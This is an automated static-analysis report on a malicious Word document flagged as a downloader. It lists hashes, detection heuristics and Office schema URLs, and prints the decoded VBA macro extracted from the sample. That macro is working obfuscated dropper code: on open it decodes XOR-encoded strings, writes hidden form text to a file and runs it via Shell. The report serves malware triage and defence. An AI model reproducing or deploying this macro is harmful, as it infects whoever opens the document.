Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 7db3e1f59cad8c73…

MALICIOUS

Office (OOXML)

75.7 KB Created: 2021-02-01 11:16:00 UTC Authoring application: Microsoft Office Word 16.0000 First seen: 2021-02-09
MD5: 4d3e8c8160addf8529681656981a5207 SHA-1: 7689a9175f413be7e61663df091b445ed0593b56 SHA-256: 7db3e1f59cad8c736c4bcd6705d89c983a0a63c13046dd43fd590e329037aa6d
192 Risk Score

Heuristics 7

  • ClamAV: Doc.Downloader.8f0f0f0fe0f0f0f0-OOXML-9981534-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Downloader.8f0f0f0fe0f0f0f0-OOXML-9981534-0
  • VBA project inside OOXML medium 3 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • Potential Shell call in VBA critical OLE_VBA_SHELL
    Potential Shell call in VBA
    Matched line in script
    Shell aIZJzl & " " & a8tRbq
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
    Set anLoWJ = CreateObject("Scripting.FileSystemObject")
  • AutoOpen macro low OLE_VBA_AUTOOPEN
    AutoOpen macro
    Matched line in script
    Sub AutoOpen()
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.microsoft.com/office/word/2010/wordprocessingCanvas In document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2014/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2015/9/8/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2015/10/21/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/9/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/10/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/11/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/12/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/13/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/14/chartexIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/markup-compatibility/2006In document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/inkIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2017/model3dIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/relationshipsIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/mathIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/wordprocessingml/2006/mainIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2012/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2018/wordml/cexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2016/wordml/cidIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2018/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2015/wordml/symexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingGroupIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingInkIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2006/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingShapeIn document text (OOXML body / shared strings)

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 2054 bytes
SHA-256: 5e47cc64b8e9f3c1c944e63888ac9bc34448f1d5ac737839472cd65adca396ed
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "myf"
Attribute VB_Base = "0{7F4FF722-547C-4946-9729-CD5BF5CDEBC4}{A086E081-5223-44C2-A45F-6D4D3E3FC296}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False

Attribute VB_Name = "aIRf3i"
Sub AutoOpen()
aokPp
End Sub

Attribute VB_Name = "aYRNw"
Function ac35C()
ac35C = myf.text1.value
End Function
Function ahrU8V(aY5lWC)
Dim aqN8K As String
Dim a5ke6i As String
Dim aKf26 As Long
Dim aCIX7 As Integer
aKf26 = Len(aY5lWC)
aqN8K = ""
For aCIX7 = aKf26 To 1 Step -1
a5ke6i = Mid(aY5lWC, aCIX7, 1)
aqN8K = aqN8K & a5ke6i
Next aCIX7
ahrU8V = aqN8K
End Function
Function aeAFS(aknBD)
If Len(aknBD) > 0 Then aeAFS = Chr(aknBD)
End Function
Function aNxCMG(apBfxW)
If Len(apBfxW) > 0 Then aNxCMG = Split(apBfxW, ".")
End Function
Sub aB0nvd(axANoH, aVwnIt)
Set anLoWJ = CreateObject("Scripting.FileSystemObject")
Set aL1grR = anLoWJ.CreateTextFile(axANoH)
aL1grR.WriteLine aVwnIt
aL1grR.Close
End Sub

Attribute VB_Name = "azhHvN"
Public Const aWBDu As String = "10.23.31.3.0.29.10.29"
Public Const aHOE9n As String = "12.85.51.31.29.0.8.29.14.2.11.14.27.14.51.14.60.21.6.44.65.7.27.14"
Function aEAJb(a8JYMb, aTRMG)
If Len(a8JYMb) > 0 Then aEAJb = a8JYMb Xor aTRMG
End Function
Function aVbRB(adwHqc As Variant)
Dim aLw4T As String
aLw4T = ""
For afIGK = 0 To UBound(adwHqc)
aoZuP = aeAFS(aEAJb(adwHqc(afIGK), 111))
aLw4T = aLw4T & aoZuP
Next afIGK
aVbRB = aLw4T
End Function
Sub aokPp()
avWiSh = ac35C()
aIZJzl = aVbRB(aNxCMG(aWBDu))
a8tRbq = aVbRB(aNxCMG(aHOE9n))
Call aB0nvd(a8tRbq, ahrU8V(avWiSh))
Shell aIZJzl & " " & a8tRbq
End Sub
vbaProject_00.bin vba-project OOXML VBA project: word/vbaProject.bin 25600 bytes
SHA-256: a5013681277ff98cb54c60cdf8f3d79bf75242989f95609bf608e412dfceb732
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 2 long base64-like blob(s).